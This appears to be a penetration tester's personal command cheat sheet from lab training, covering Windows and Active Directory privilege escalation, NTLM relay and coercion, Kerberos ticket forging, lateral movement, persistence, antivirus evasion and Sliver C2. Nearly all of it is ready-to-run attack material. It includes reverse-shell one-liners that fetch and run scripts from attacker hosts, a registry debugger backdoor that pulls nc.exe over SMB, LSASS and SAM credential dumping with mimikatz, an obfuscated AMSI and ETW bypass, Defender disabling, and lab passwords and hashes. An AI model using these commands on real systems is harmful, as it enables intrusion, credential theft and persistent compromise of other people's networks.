 > EXEC MASTER.sys.xp_dirtree '\\10.10.14.28\test', 1, 1 
 
 -----------------------------------------------------------------------------------------------------
 factor NOPASSWD: /usr/bin/factor
 mkdir /tmp/priv 
 echo 'exec "/bin/sh"' > /tmp/priv/a.rb
 sudo /usr/bin/factor --custom-dir=/tmp/priv
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
08Privilege Escalation3 cmds
Local Privilege Escalation
sebackupPrivilege
git clone https://github.com/k4sth4/SeBackupPrivilege.git
upload dll files to target 
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege C:\Users\administrator\Desktop\root.txt C:\Users\user\root.txt

or 
> reg save hklm\sam sam
> reg save hklm\system system
# impacket-secretsdump -sam sam -system system local
https://download.sysinternals.com/files/Procdump.zip
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "exit"
------------------------------------
enable all privielges : https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
------------------------------------
SeTakeOwnershipPrivilege
1- specify senstive file to read and you don't have privileges to read
2- take ownership for the directory of the file 
> cmd /c dir /q 'C:\Users\Hossam\Test\senstive.txt'          => Check owner
> takeown /f 'C:\Users\Hossam\Test\senstive.txt'
> Get-ACL senstive.txt               => know owner now 
> icacls senstive.txt /grant username:F
3- change the permission for the file to F (Full Control)
--------------------------------------
SebackupPrivilege : https://github.com/giuliano108/SeBackupPrivilege
1- Import-Module .\SeBackupPrivilegeUtils.dll
2- Import-Module .\SeBackupPrivilegeCmdLets.dll
3- check if enabled or not : Get-SeBackupPrivilege
4- enable it with : Set-SeBackupPrivilege       or 
https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
> Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
diskshadow.exe
then use impacket-secretsdump -sam sam -system system -ntds ntds.dit
------------------------------------------
found yourself into DnsAdmins group 
1- create payload to add me to domain admins 
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
2- inject payload into dns registry 
dnscmd /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
3- restart the service to lead to dll 
sc stop dns
sc start dns
----------------------------------------------
SeLoadDriverPrivilege
1- enable the service if disabled with https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
- add tge Capcom.sys in C:\Users\Public\Desktop\Capcom.sys
2- add vulnerable driver to registry 
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Users\Public\Desktop\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
.\EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

3- ensure driver is not working with : http://www.nirsoft.net/utils/driverview.html
.\DriverView.exe  /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom

4- create revershell with msfvenom and then name it as revshell.exe and put that in
C:\ProgramData\revshell.exe 
 .\ExploitCapcom.exe

may need to edit exploitcapcom.cpp 
 TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
 and go to visual studio installer => install development c++ for desktop 
 also 
 modify => Individual components => MSVC v142 - VS 2019 C++ build tools
 then go to sln file of exploit and build it with release 64 
 ------------------------------------------------------------------------
 unquaoted service path : 
 wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v "\""
 
 
Domain Privilege Escalation
. .\PowerUp.ps1
Invoke-AllChecks 
----------------------------
 . C:\AD\Tools\PrivEscCheck.ps1 
 Invoke-PrivescCheck 
 --------------------------
 python3.8 can be used to set suid and privilege escalation in linux:
 /usr/bin/python3.8
 > import os
 > os.setuid(0)
 > os.system("/bin/bash")
 ---------------------------
 
 // check what local admin access does user have over machines 
 . .\Find-PSRemotingLocalAdminAccess.ps1 
 Find-PSRemotingLocalAdminAccess 
 /// after finding any machines  / connect with winrs -r:dcorp-adminsrv cmd 
 > set username
 > set computername
/// also we can connect via powershell / Enter-PSSession -ComputerName dcrop-adminsrv.inlanefreight.local
> $env:username
 ---------------------------------
 to use Invoke-PowerShellTcpEx.ps1 
 // first edit the ip in the last line to your attacker ip
 // open lisnter in your attacker machine 
 // nc64.exe -l -p 443 -v 
  // second upload that script over hfs server and take the link for it 
 // on target machine or input 
 powershell iex (iwr -UseBasicParsing -uri http://<hfs_server>/Invoke-PowerShellTcpEx.ps1);power -Reverse -IPAddress <attackerip> -Port 443
 /// got reverse shell // if not work , try to disable your firewall (attacker)
 
 ------------------------------------------------------------
 1- sudo -l 
  - found (ALL: ALL) NOPASSWD sudo /usr/bin/systemctl status trail.service
  - sudo /usr/bin/systemctl status trail.service
  - when (Return) appear : put !/bin/bash
 
 
 
 
 
 
 
 
 
 
09Attacking Jenkins1 cmd
search for console and if there is login then > builduser:builduser
10GPO1 cmd
1- search for modifiable GPO with the current user :
// 
> Get-DomainOU | select name, gplink | Where-Object {$_.gplink}                                                                                               name
------                                                                                               ----
[LDAP://cn={6AC1786C-016F-11D2-945F-00C04fB984F9},cn=policies,cn=system,DC=inlanefreight,DC=local;0] Domain Controllers
                                                                                                     Workstations
[LDAP://cn={8F3E10E7-E9FC-43C7-A58F-3ECFFBF69756},cn=policies,cn=system,DC=inlanefreight,DC=local;1] Servers

2- Resolve GUID of the GPO
>  Get-GPO -Guid 8F3E10E7-E9FC-43C7-A58F-3ECFFBF69756 

3- Get Editable GPO 

> Get-GPOEnumeration -ModifyGPOs

4- Import-Module .\Get-GPOEnumeration.ps1
Get-GPOEnumeration  


// to know the name of computers inside OU 
> Get-DomainOU -Idnetity "OU_name"
// then copy Distingushed name and 
> Get-DomainComputer -SearchBase "Distingushed_name" | select name
----------------------------------------------------------------
get-DomainObjectAcl -Identity studnet123 | select SecurityIdentifier,ActiveDirectoryRights,ObjectSID
11wsus1 cmd
https://github.com/nettitude/SharpWSUS
upload SharpWSUS.exe sw.exe
The registry key will show the WSUS server in use. From client:
Get-ItemProperty HKLM:\software\policies\microsoft\windows\WindowsUpdate
get-itemproperty HKLM:\software\policies\microsoft\windows\WindowsUpdate
 .\SharpWSUS.exe locate
 ping wsus.outdated.htb
Resolve-DNSName -Name wsus.outdated.htb -Type A -Server 127.0.0.1
 .\SharpWSUS.exe inspect
 
 https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
upload PsExec64.exe \programdata\ps.exe
.\SharpWSUS.exe create /payload:"C:\programdata\ps.exe" /args:" -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445" /title:"CVE-2022-30190"
 .\SharpWSUS.exe approve /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:dc.outdated.htb /groupname:"CriticalPatches"
rlwrap -cAr nc -lnvp 445
06

Coercion, Relay & Spooler

Authentication coercion, NTLM relay, Spooler and SPN jacking.

3
12Authentication Coercion | NTLM relay1 cmd
1- sealing provide confidentiality , signing provide integrity
2- alternative for responder => https://github.com/RedTeamPentesting/pretender 
3- responder used in linux - Inveigh used in windows 
4- sed -i "s/SMB = On/SMB = Off/" Responder.conf   (disable only when using ntlmrelayx)
5- netexec smb 176.20.10.0/24 --gen-relay-list relayTargets.txt 
6- sudo python3 Responder.py -I ens192
7- sudo ntlmrelayx.py -tf relayTargets.txt -smb2support
8- nc -nlvp 1234 & python3 -m http.server 8000
9-  sudo ntlmrelayx.py -tf relayTargets.txt -smb2support -c "powershell -c IEX(New-Object NET.WebClient).DownloadString('http://172.16.117.30:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.117.30 -Port 1234" 
10- can enable -socks with ntlmrelayx to enable cli command line 
11- drop the mic scanner CVE-2019-1040 https://github.com/fox-it/cve-2019-1040-scanner/tree/master
12- abuse http/ldap to add computer with ntlmrelayx then privilege escalation
	# sudo ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$'
	# sudo ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug
13- bruteforce http endpoints using ntlm hash : https://github.com/praetorian-inc/NTLMRecon
14- @file.ico => appear in the top list of files 
15- create all types of LNK files with : https://github.com/Greenwolf/ntlm_theft
	# python3 ntlm_theft.py -g all -s 172.16.117.30 -f '@myfile' 
	python3 ntlm_theft.py -g all -s 10.10.14.58 -f hack 
	
	# smbclient.py anonymous@172.16.117.3 -no-pass  => shares => use xyz => put @myfile/@myfile.lnk
	# echo "all://172.16.117.50" >> relayTargets.txt; echo "all://172.16.117.60" >> relayTargets.txt
	# ntlmrelayx.py -tf relayTargets.txt -smb2support -socks
16- have access to mssql 
	# sudo smbserver.py share SupportFiles -smb2support 
	# exec xp_dirtree "\\172.16.117.30\SupportFiles" 

	
	
1- use crackmapexec searchConnector-ms
	# crackmapexec smb 172.16.117.3 -u anonymous -p '' -M drop-sc -o URL=https://172.16.117.30/testing SHARE=Testing FILENAME=@secret
	# crackmapexec smb 172.16.117.60 -u plaintext$ -p o6@ekK5#rlw2rAe -M webdav
	# crackmapexec smb 172.16.117.3 -u anonymous -p '' -M slinky -o SERVER=172.16.117.30 NAME=important
	#  ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-smb-server --http-port 8008 --no-da --no-acl --no-validate-privs --lootdir ldap_dump
	# sudo python3 Responder.py -I ens192
	-----------------------------------------------------------------
	
# ntlmrelayx.py -t winrms://DC01.signed.htb -smb2support
# netexec smb DC01.signed.htb -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus -o L=dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA M=PrinterBug
[*] winrms:///@dc01.signed.htb [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000


- Start Reverse shell on port 11000 as in output 
#$ nc localhost 11000
	
	
--------------MS-RPRN PrinterBug----------
# python3 Responder.py -I ens192
# printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.3 <ip_of_hacker>
  
https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
# impacket-ntlmrelayx -t ldap://172.16.117.60 --delegate-access --smb2support
python3 printerbug.py test/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.60 SUPPORTPC@80/print

-------------MS-EFSR PetitPotam-------------
https://github.com/ly4k/PetitPotam
# PetitPotam.py 172.16.117.30 172.16.117.3 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d test.local
# python3 Responder.py -I ens192
# python3 PetitPotam.py WIN-MMRQDG2R0ZX@80/files 172.16.117.60 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe'


-------------MS-DFSNM DFSCoerce----------------
https://github.com/Wh04m1001/DFSCoerce
# python3 dfscoerce.py -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' 172.16.117.30 172.16.117.3
#  Coercer scan -t 172.16.117.50 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d inlanefreight.local -v


// https://github.com/p0dalirius/Coercer
Coercer scan -t 172.16.117.50 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d inlanefreight.local -v
# Coercer coerce -t 172.16.117.50 -l 172.16.117.30 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d inlanefreight.local -v --always-continue
# Coercer.py -t 172.16.117.60 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -wh SUPPORTPC2 -wp 80 -v

coerce_poc.py -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d inlanefreight.local 172.16.117.30 172.16.117.3
python3 Responder.py -I ens192

-----------------------------------------------------
python3 ./dementor.py 172.16.18.20 172.16.18.3 -u bob -d eagle.local -p Slavi123
impacket-ntlmrelayx -t dcsync://172.16.18.4 -smb2support
13Printer Spooler Bug1 cmd
1- Force any domain user to connect to the spool's named pipe with the RpcOpenPrinter method
- Use RpcRemoteFindFirstPrinterChangeNotificationEx method,

-------------------------------
14SPN Jacking1 cmd
1- first you need to know delegation servers 
# findDelegation.py -target-domain inlanefreight.local -dc-ip 172.16.92.10 -dc-host dc02 test.local/gabriel:Godisgood001
2- specify one of services of server and delete the SPN from it 
# python3 addspn.py 172.16.92.10 -u 'test.local\gabriel' -p Godisgood001 --clear -t 'DBSRV003$' -dc-ip 172.16.92.10
3- add new spn 
# addspn.py 172.16.92.10 -u 'inlanefreight.local\gabriel' -p Godisgood001 --spn 'dmserver/DBSRV003' -t 'WEB01$' -dc-ip 172.16.92.10
4- enforce DC to authenticate administrator 
# getST.py -spn 'dmserver/DBSRV003' -impersonate Administrator 'TEST.local/SRV01$' -hashes :ef3d150ee77eb9000001236c52bd2793 -dc-ip 172.16.92.10
5- let's describe the ticket output 
# describeTicket.py Administrator@dmserver_DBSRV003@INLANEFREIGHT.LOCAL.ccache
6- put alternative service :
# python3 tgssub/examples/tgssub.py -in Administrator@dmserver_DBSRV003@INLANEFREIGHT.LOCAL.ccache -altservice "cifs/WEB01" -out newticket.ccache 
# describeTicket.py newticket.ccache 
7- KRB5CCNAME=newticket.ccache proxychains4 -q smbexec.py -k -no-pass WEB01
or 
# getST.py -spn 'dmserver/DBSRV003' -impersonate Administrator 'inlanefreight.local/SRV01$' -hashes :ef3d150ee77eb9000001236c52bd2793 -dc-ip 172.16.92.10 -altservice "cifs/WEB01.inlanefreight.local"
07

Lateral Movement & Persistence

Move across hosts, abuse tickets, persist, evade and transfer.

8
15Lateral Movement1 cmd
Enter-PSSession -ComputerName xyz 
/// can open session in variable as :
$sess = New-PSSession -ComputerName xyz
Enter-PSSession -Session $sess
//or  Invoke-Command   (in WINRM) - evil-winrm but in windows 

Invoke-Command -ComputerName dcorp-name -ScriptBlock {whoami}
// can put many devices after -ComputerName dcorp-name1,docrp-name2 
can load script to many devices with Invoke-Command :
Invoke-Command -ComputerName pc1,pc2 -FilePath C:\Tools\Powerview.ps1 
Invoke-Command -ComputerName pc1,pc2 -ScriptBlock {Get-DomainUser}

winrs.exe -r:computer_name powershell.exe 
----------------------------------------------------------
.\minidumpdotnet.exe <lsass_process_id_number> C:\Temp\lsass.dmp
/// once you got the dump , you can run mimikatz without permissions 
.\mimikatz.exe 
# sekurlsa::minidump C:\Temp\lsass.dmp 
# sekurlsa::logonpasswords 
# sekurlsa::ekeys
-------------------------------
if anyproblem appeared with mimikatz , you can use loader.exe -Path SafetyKatz.exe 
this would invoke Safetykatz.exe inside memory : SafetyKatz.exe == Mimikatz (but in C#)
--------------------------------------------------------------------
Invoke-Mimi -Command '"sekurlsa::pth /user:xyz /aes256:<hash> /domain:domain.local /run:powershell.exe
can use /ntlm:<ntlm_hash>
then PSSession -ComputerName <Computer-name>

.\Rubues.exe asktgt /user:<user> /domain:<domain_name> /ntlm:<hash> /ptt
/// or can put /createnetonly:powershell.exe /show   /// instead of /ptt 

// to get the data stored inside credentials manager 
.\mimikatz
# vault::cred /patch 

------------------------------------------------------------
In reverse shell , try to run mimikatz with "sekurlsa::ekeys" "exit"
----------------------------------------------------------
can use Invoke-Mimi but add in the last line :
Invoke-Mimi -Command '"token::elevate" "vault:cred /path"'
---------------------------------------------------------

/// to dump golden ticket :
> ./mimikatz
# kerberos::golden /user:Administrator /domain:xyz.com /sid:xxx /aes256:<krbtgt_hash> /ticket:admin.kirbi

> .\Rubues.exe createnetonly /program:powershell.exe /show 
/// in new session , can use ticket output of mimikatz as :
> .\Rubues.exe /ticket:admin.kirbi /luid:<id_of_new_Session>
---------------------------------
/// in silver ticket , you can not access Enter-PSSession without HTTP 
#lsadump::dcsync /user:dcorp\dcorp-dc$
./mimikatz 
# kerberos::golden /user:Administrator /domain:xyz.com /sid:xxx /aes:<computer_hash> /service:CIFS /target:<target> sid:xxx /ptt
add then HTTP /service:HTTP
Enter-PSSession -ComputerName dcorp-dc
winrs.exe -r:dcorp-dc.inlanefreight.local cmd.exe


Golden Ticket : TGT Forging Attack
Dimond Ticket  : TGT Modification Attack
------------------------------------------------------------------

1- reg 
#  sudo python3 smbserver.py share -smb2support /home/plaintext/nc.exe
# nc -lvnp 8080

> reg.exe add "\\srv02.inlanefreight.local\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe"
 /v Debugger /t reg_sz /d "cmd /c copy \\172.20.0.99\share\nc.exe && nc.exe -e \windows\system32\cmd.exe 172.20.0.99 8080"
> reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters 
/v AllowInsecureGuestAuth /d 1 /t REG_DWORD /f

----------------------------------------------------------------------------
create new service from linux :
# impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 create -name 'Service Backdoor' -display 'Service Backdoor' -path "\\\\10.10.14.207\\share\\rshell-9001.exe"
# impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 config -name 'Service Backdoor'

# sudo smbserver.py share -smb2support ./
# nc -lnvp 9001

- run the service after putting the path for msfvenom reverse shell: 
# impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 start -name 'Service Backdoor' 


we can edit the current services instead of creating new one :
# impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 config -name Spooler

- set config path for spooler service - autostart 
# impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 change -name Spooler -path "\\\\10.10.14.207\\share\\rshell-9001.exe" -start_type 2
-------------------------------------------------------------------------
invoke rdp : 
$user = "inlanefreight\arturo";$pass = "Newyork0293!";$securepass = ConvertTo-SecureString $pass -AsPlainText -Force;$cred = New-Object System.Management.Automation.PSCredential ($user, $securepass)
Invoke-Command -ComputerName dead:beef:df::3 -ScriptBlock {dir C:\users\arturo\desktop\} -Credential $cred -Port 35985
---------------------------------------------------------------------------
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=PWNIP LPORT=PWNPO -f psh-reflection -o s
msfconsole -x "use multi/handler;set payload windows/x64/meterpreter/reverse_https; set LHOST PWNIP; set LPORT PWNPO; set EXITONSESSION false; set EXITFUNC thread; run -j"
------------------------------------------------------------------------
use aeskey in PTH
crackmapexec smb 10.129.203.121 -u julio --aesKey 77da7057b42509a1d086f4f58e7252ad673b1940be2f741c496c577d10e4df76
16Abuse Tickets Golden Ticket & Silver Ticket1 cmd
1- find account with DcSync Privilege 
2- Dump krbtgt of the domain 
mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:inlanefreight.local" "exit"
3- sid of domain , user to impersonate , 
4- perform Golden Ticket with mimikatz or Rubues 
kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:<sid_of_domain> /rc4:<krbtgt> /ptt
5- klist
6- Enter-PSSession dc01
-----------------------------From Linux --------------------------------
1- gather sid : 
lookupsid.py inlanefreight.local/pixis@dc01.inlanefreight.local -domain-sids
2- perform Golden tickett: 
ticketer.py -nthash <krbtgt> -domain-sid <domain_sid> -domain inlanefreight.local Administrator
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass dc01.inlanefreight.local
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Silver Ticket: 
1- Abuse server with SPN 
2- Get-DomainSID
3- kerberos::golden /domain:inlanefreight.local /user:Administrator 
/sid:<sid_of_Domain> /rc4:<hash_of_server_machine_or_account_service> 
/target:sql01.inlanefreight.local /service:cifs  /ptt

4- dir //sql01.inlanefreight.local/c$

- can save it in file :
 mimikatz.exe "kerberos::golden /domain:inlanefreight.local 
 /user:Administrator /sid:<Sid_of_Domain> /rc4:<hash_of_server_machine_or_account_service> 
 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi" exit

- Rubeus.exe createnetonly /program:cmd.exe /show
- Rubeus.exe ptt /ticket:sql01.kirbi
- PSExec.exe -accepteula \\sql01.inlanefreight.local cmd

----------------------- With Linux --------------------------
1- search for sid : 
lookupsid.py inlanefreight.local/pixis@dc01.inlanefreight.local -domain-sids
2- dump hash of machine or service account 
3- perform silver ticket 
# ticketer.py -nthash <hash_of_service_Account_or_machine> -domain-sid <SID>
 -domain inlanefreight.local -spn cifs/sql01.inlanefreight.local Administrator
 
4- export KRB5CCNAME=./Administrator.ccache
5- smbclient.py -k -no-pass sql01.inlanefreight.local
6- psexec.py -k -no-pass sql01.inlanefreight.local
17Persistence1 cmd
when opening nc -nvlp 1234 then to save the session :
script /dev/null -c bash
# Ctrl + z
stty -raw echo; fg
# Enter (Return) x2
-------------------------------------------
try to copy bash file as normal user:
cp /bin/bash .
exit
# As root in the docker container
# chown root:root bash
# chmod 4755 bash
then go back as normal user and execute : # ./bash -p 
18File Transfer1 cmd
If you got access to machine via Meterpreter then 
shell
certutil.exe -f -urlcache -split http://PWNIP:PWNPO/PowerView.ps1 PowerView.ps1
19Windows Evasion1 cmd
netsh advfirewall show allprofiles


# know more about windows defender :
Get-MpComputerStatus
Get-MpThreat
Get-MpThreatDetection -ThreatID 2147894794
Set-MpPreference -DisableRealTimeMonitoring $true  // stop antivirus
-------------------------------------------------------------
know more about Applocker : 
 Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections


Loader.exe -path C:\Tools\Rubues.exe
Loader.exe -path C:\Tools\Rubues.exe -args triage // or -args dump /luid:<uid_of_ticket>
--------------------------------------------------------------
Antivirus Bypass : InviShell 
./RunWithRegisteryNonAdmin.bat 
then run any script as .\powershell.ps1 
---------------------------------------------------------------
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force ; [Reflection.Assembly]::LoadWithPartialName('System.Core');$eventProviderType = [System.Diagnostics.Eventing.EventProvider];$eventProviderField = $eventProviderType.GetField('m_enabled', 'NonPublic, Instance');$pseTwLogProviderType = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider');$etwProviderField = $pseTwLogProviderType.GetField('etwProvider', 'NonPublic, Static');$eventProviderField.SetValue($etwProviderField.GetValue($null), 0) ;$str2='ms';$str1='A';$str3='i';$str=$str1+$str2+$str3;$dull=$null;$test1=[Ref].Assembly.GetType('System.Management.Automation.'+$str+'Utils');$test2=$test1.GetField($str.ToLower()+'InitFailed','NonPublic,Static');$test2.SetValue($dull,$true)
--------------------------------------------------------------
check CLM status : if (ConstrainedLanguage) then restricted , if fulllagnuage then unrestricted  
$ExecutionContext.SessionState.LanguageMode

--------------------------------------------------------------------
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe  => C# Compiler 
20phishing & C21 cmd
netexec smb 172.16.1.10 -u grace -p Inlanefreight01! -M slinky -o SERVER=10.10.14.33 NAME=important
sudo responder -I tun0
 netexec smb 172.16.1.10 -u grace -p Inlanefreight01! -M drop-sc -o URL=\\\\10.10.14.33\\secret SHARE=IT-Tools FILENAME=secret
 
 -----------------------------------
	 Sliver C2 (suppose attacker ip 10.10.10.1)
we have two sides inside sliver c2 , server side and client side , they are
both on attacker machine 
1- open terminal 
apt install mingw-x64
curl https://sliver.sh/install | sudo bash 
systemctl start sliver & systemctl enable sliver 
---------------------------------------- OR ----------------------------
mkdir sliver
cd sliver/
wget -q https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x ./sliver-server_linux
wget -q https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-client_linux
chmod +x ./sliver-client_linux
./sliver-server_linux
--------------------------------------------------

and then write :
> new-operator -n student1 -l  10.10.10.1 --permissions all 
> multiplayer

kill any port : kill -9 $(lsof -t -i:31337)
----------------------
we need to open new terminal as the above is enough for server 
./sliver-client_linux import student_<snip>.cfg
./sliver-client_linux

> profiles new --http 10.10.10.1:8088 --format shellcode htb 
> stage-listener --url tcp://10.10.10.1:4443 --profile htb 
> http -L 10.10.10.1 -l 8088

> generate stager --http 192.168.1.22:8088 --format csharp --save staged.txt
// or
generate stager --lhost 187.77.173.234 --lport 4443 --os windows --arch amd64 --save /tmp/


to kill any job 
jobs -k 4 

msfvenom -p - CUSTOM_PAYLOAD_FILE=./staged.txt -f aspx -o shell.aspx
-------------------------------------
then create shellcode with msfvenom 
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.10.1 LPORT=4443 -f aspx > shellcode.aspx
-----------------------------------------------------------
# 1. profile
profiles new --http 10.10.14.62:8088 --format shellcode htb

# 2. stage listener
stage-listener --url tcp://10.10.14.62:4443 --profile htb

# 3. http listener
http -L 10.10.14.62 -l 8088

# 4. stager
generate stager --lhost 10.10.14.62 --lport 4443 --format csharp --save staged.txt

# 5. webshell
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.62 LPORT=4443 -f aspx > sliver.aspx
--------------------------------------------------------------


open shellcode.aspx and replace the byte content with staged.txt 
save file as shellcode.aspx 
go back to sliver_client 
upload shellcode and 
>sessions 
> use <session_id> 
----------------------------------Generate Beacon --------------------------------
generate beacon --http 192.168.161.128:8088 -N beacon1 --os windows --skip-symboles
or obfusicated 
generate beacon --http 127.0.0.1 -N http_beacon_obfuscated --os windows
http-listener --addr 192.168.1.22:8080
beacons -i <pid>

get session via beacon 
> interactive 
> sessions -i <session_id>


-----------------------------Extensions and Armory ------------------------------------------------
execute-assembly => run tools and files from hacker machine wihtout uploading them to victim machine 
execute-assembly Seatbelt.exe -group=system

seatbelt -- -group=all
sharpup -- audit

- found seimpersonate enabled then : https://github.com/BeichenDream/GodPotato
execute-assembly --timeout 120 /home/htb-ac590/GodPotato-NET4.exe -cmd "whoami"

work with shellcode from donut :  git clone https://github.com/TheWover/donut
 cd donut/
 make -f Makefile 
 chmod 777 ./donut
 
 generate beacon --http 10.10.15.192:9002 --skip-symbols -N http-beacon
 http -l 9002
 
 upload beacon to victim C:\temp then : 
 cd ~/sliver/donut/
./donut -i ../GodPotato-NET4.exe -a 2 -b 2 -p '-cmd c:\temp\http-beacon.exe' -o /home/htb-ac-594497/sliver/godpotato.bin
 
> execute-assembly --timeout 180 Rubeus.exe createnetonly /program:C:\\windows\\system32\\notepad.exe
> execute-shellcode -p <PID of notepad.exe> /home/<USER>/sliver/godpotato.bin

 jobs


------------------------------------Enumerate Forests and domains -----------------------------------------------
> execute -o powershell $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest(); $Forest.Domains
> execute -o certutil.exe
> certify -- find 
> execute-assembly /home/htb-ac590/SharpView.exe "get-netuser -PreauthNotRequired" -t 240 -i -E -M

# echo -n "get-netuser | select  samaccountname,description" | base64 
> sharpsh -- '-u http://10.10.14.62:8081/PowerView.ps1 -e -c Z2V0LW5ldHVzZXIgfCBzZWxlY3QgIHNhbWFjY291bnRuYW1lLGRlc2NyaXB0aW9u'
> execute-assembly /home/htb-ac590/SharpView.exe "get-netuser -PreauthNotRequired" -t 240 -i -E -M

# echo "Get-NetUser -spn | select samaccountname,description" | base64
> sharpsh -- '-u http://10.10.14.62:8080/PowerView.ps1 -e -c "R2V0LU5ldFVzZXIgLXNwbiB8IHNlbGVjdCBzYW1hY2NvdW50bmFtZSxkZXNjcmlwdGlvbgo="'

another way for getting kerberosable accounts 
> delegationbof 6 child.htb.local
> inline-execute-assembly /home/htb-ac590/Rubeus.exe 'kerberoast /format:hashcat /user:alice /nowrap'
- also 
> c2tc-kerberoast roast alice


C:\> Install-WindowsFeature -Name RSAT-AD-PowerShell     
C:\> Install-WindowsFeature -Name RSAT-AD-PowerShell 
> inline-execute-assembly /home/htb-ac590/Rubeus.exe 'asreproast /format:hashcat /user:bob /nowrap'
> bof-roast rdp/web01.child.htb.local
-------------------------------------Pivoting ---------------------------------------------------------
# nano /etc/proxychains4.conf          => ensure port 1080 
# sudo apt install mingw-w64
# git clone https://github.com/MrAle98/chisel
# cd chisel/
# mkdir ~/.sliver-client/extensions/chisel
# cp extension.json ~/.sliver-client/extensions/chisel
# make windowsdll_64
# make windowsdll_32
# cp chisel.x64.dll ~/.sliver-client/extensions/chisel/
# cp chisel.x86.dll ~/.sliver-client/extensions/chisel/

# chisel server --reverse -p 1337 -v --socks5 

> chisel client 10.10.14.62:1337 R:socks

#  proxychains crackmapexec smb 172.16.1.12 -u svc_sql -p 'jkhnrjk123!'

-----------------------------------Sliver From Course ----------------------------
> generate --mtls 10.10.10.1:443 --save /home/kali/ --os Windows 
> generate --mtls 10.10.10.1:443 -os windows --arch amd64 --format shellcode --save update.bin
> mtls -L 10.10.10.1 -l 443 
> jobs
after gaining access 
> sessions 
> sessions -i <session_id>

- to kill all running jobs 
> jobs -K 

> shell 
> exit
CTRL+D
 
install 5 tools into c2 
> armory install seatbelt 
> armory install mimikatz 
> armory install shrp-hound-4
> armory install rubeus
> armory install certify 
> armory install sa-netloggedon 
> armory instlal sharpchrome 
> sharpchrome logins /browser:edge
> armory install sa-cacls
> armory install remote-sc-start
> armory install procdump 

-> can upload file to current session and run with another user as :
> session -i <session_id> 
> upload /home/kali/revshell.exe 'C:\Users\Public\revshell.exe'

>getsystem 

>  ps -e lsass
- copy lsass pid 
> procdump -p <lsass_pid> 
- go to linux and # pypykatz lsa minidump /tmp/<name_of_dump>
 

-> Pivot through Sliver 
ensure 1081 in /etc/proxychains.conf 
> socks5 start 

# proxychains -q dirsearch http://172.16.1.1 
- can also configure foxy proxy => Type SOCKS5 => 127.0.0.1 1081
 
 -----------presistance---------------
 1- registry keys Execute on login
 
 1- make task connect every time login 
 open powershell as system :
 C:\> schtasks /create /tn "Test" /tr 
 "C:\Users\Public\revshell.exe /sc onstart /ru SYSTEM
 
 2- make registry key value 
